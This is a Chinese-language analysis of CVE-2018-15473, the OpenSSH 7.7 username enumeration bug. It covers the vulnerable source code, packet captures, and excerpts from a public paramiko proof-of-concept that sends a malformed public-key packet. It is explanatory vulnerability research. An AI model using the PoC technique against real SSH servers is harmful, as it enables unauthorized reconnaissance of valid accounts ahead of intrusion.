CVE-2018-15473(OpenSSH 用户名枚举漏洞)分析

Table of Contents

OpenSSH <= 7.7 中存在一个用户名枚举漏洞,在传递公钥环节中发送一个错误格式的数据包,就可以根据服务端返回的数据来判断服务器是否存在指定的用户名。

1 分析环境

软件 版本
OpenSSH 7.7p1
操作系统 Debian stretch
虚拟机 IP 172.17.0.2

2 漏洞分析

漏洞点出现在 userauth_pubkey 函数的两个 if 判断上:

// file: auth2-pubkey.c

static int
userauth_pubkey(struct ssh *ssh)
{
  Authctxt *authctxt = ssh->authctxt;
  ...

  if (!authctxt->valid) {
    debug2("%s: disabled because of invalid user", __func__);
    return 0;
  }
  if ((r = sshpkt_get_u8(ssh, &have_sig)) != 0 ||
      (r = sshpkt_get_cstring(ssh, &pkalg, NULL)) != 0 || /* 获取加密类型 */
      (r = sshpkt_get_string(ssh, &pkblob, &blen)) != 0)  /* 获取 key */
    fatal("%s: parse request failed: %s", __func__, ssh_err(r));

  ...
}

第一个 if 判断的 valid 是 Authctxt 结构体的成员,这个字段记录了用户名是否存在以及是否允许登录:

// file: auth.h

struct Authctxt {
  ...
  int            valid;         /* user exists and is allowed to login */
  ...
};

接下来的第二个 if 判断调用了 sshpkt_get_u8、sshpkt_get_cstring 和 sshpkt_get_string 三个函数从接收到的数据中按不同长度的来取数据,判断是否成功取到公钥数据,函数实现如下:

// file: packet.c

int
sshpkt_get_u8(struct ssh *ssh, u_char *valp)
{
        return sshbuf_get_u8(ssh->state->incoming_packet, valp);
}

int
sshpkt_get_cstring(struct ssh *ssh, char **valp, size_t *lenp)
{
        return sshbuf_get_cstring(ssh->state->incoming_packet, valp, lenp);
}

int
sshpkt_get_string(struct ssh *ssh, u_char **valp, size_t *lenp)
{
        return sshbuf_get_string(ssh->state->incoming_packet, valp, lenp);
}

根据上下文分析,这三个函数其实就是在解析数据包:

sshpkt_get_u8(ssh, &have_sig) /* 取第 1 字节数据,用来判断是否有签名,可以当作是个布尔类型,正常情况下应该为 1 */
sshpkt_get_cstring(ssh, &pkalg, NULL) /* 取加密类型 */
sshpkt_get_string(ssh, &pkblob, &blen) /* 取公钥 */

也就是数据包在内存中的布局大致如下:

|-- 1 字节--|-算法类型-|---公钥----------------------|
| have_sig | ssh-rsa | AAAAB3NzaC1yc2EAAAADAQAB... |

由于两个 if 返回的条件不一样,也就导致了不同情况下客户端收到的数据包不一样,根据这个就能判断用户是否存在了:

1、如果用户名不存在,第一个 return 返回的 0。

通过 Wireshark 抓包就能看出,TCP 会话结束是由客户端发起的:

103	5.330507117	localhost	172.17.0.2	TCP	66	42482 → 22 [FIN, ACK] Seq=1449 Ack=1470 Win=64128 Len=0 TSval=2208478116 TSecr=2280649252
109	5.330967101	172.17.0.2	localhost	TCP	66	22 → 42482 [FIN, ACK] Seq=1470 Ack=1450 Win=64128 Len=0 TSval=2280649253 TSecr=2208478116
110	5.330983540	localhost	172.17.0.2	TCP	66	42482 → 22 [ACK] Seq=1450 Ack=1471 Win=64128 Len=0 TSval=2208478117 TSecr=2280649253

2、如果用户名存在,但解析数据包时,其中某个字段有误而导致第二个 if 调用 fatal,fatal 这个函数不会返回,而是主动关闭 socket。

因此服务端会主动关闭 TCP 会话:

137	2.424108293	172.17.0.2	localhost	TCP	66	22 → 42498 [FIN, ACK] Seq=1374 Ack=1433 Win=64128 Len=0 TSval=2280919791 TSecr=2208748654
138	2.424276537	localhost	172.17.0.2	TCP	66	42498 → 22 [FIN, ACK] Seq=1433 Ack=1375 Win=64128 Len=0 TSval=2208748655 TSecr=2280919791
139	2.424284210	172.17.0.2	localhost	TCP	66	22 → 42498 [ACK] Seq=1375 Ack=1434 Win=64128 Len=0 TSval=2280919791 TSecr=2208748655

回到 auth2-pubkey.c,函数 userauth_pubkey 在 method_pubkey 中做了一个映射:

Authmethod method_pubkey = {
  "publickey",
  userauth_pubkey,
  &options.pubkey_authentication
};

auth2.c 中用到了 method_pubkey,当验证失败时返给客户端 SSH2_MSG_USERAUTH_FAILURE 错误,SSH2_MSG_USERAUTH_FAILURE 定义如下:

// file: ssh2.h

#define SSH2_MSG_USERAUTH_FAILURE                       51

3 PoC 关键点分析

网上公开的 PoC 脚本(请见“参考”) sshUsernameEnumExploit.py 的关键点在 malform_packet 函数中:

def add_boolean(*args, **kwargs):
    pass

def malform_packet(*args, **kwargs):
    old_add_boolean = paramiko.message.Message.add_boolean  # 构造一个错误的首字节,导致 have_sig 取出来为 0
    paramiko.message.Message.add_boolean = add_boolean
    result  = old_parse_service_accept(*args, **kwargs)
    #return old add_boolean function so start_client will work again
    paramiko.message.Message.add_boolean = old_add_boolean
    return result

对 SSH2_MSG_USERAUTH_FAILURE 错误也做了自定义函数处理,相关的代码如下:

class BadUsername(Exception):
    def __init__(self):
        pass


def call_error(*args, **kwargs):
    raise BadUsername()


paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error


def checkUsername(username, tried=0):
    ...

    try:
        transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
    except BadUsername:
        return (username, False)

    ...

4 参考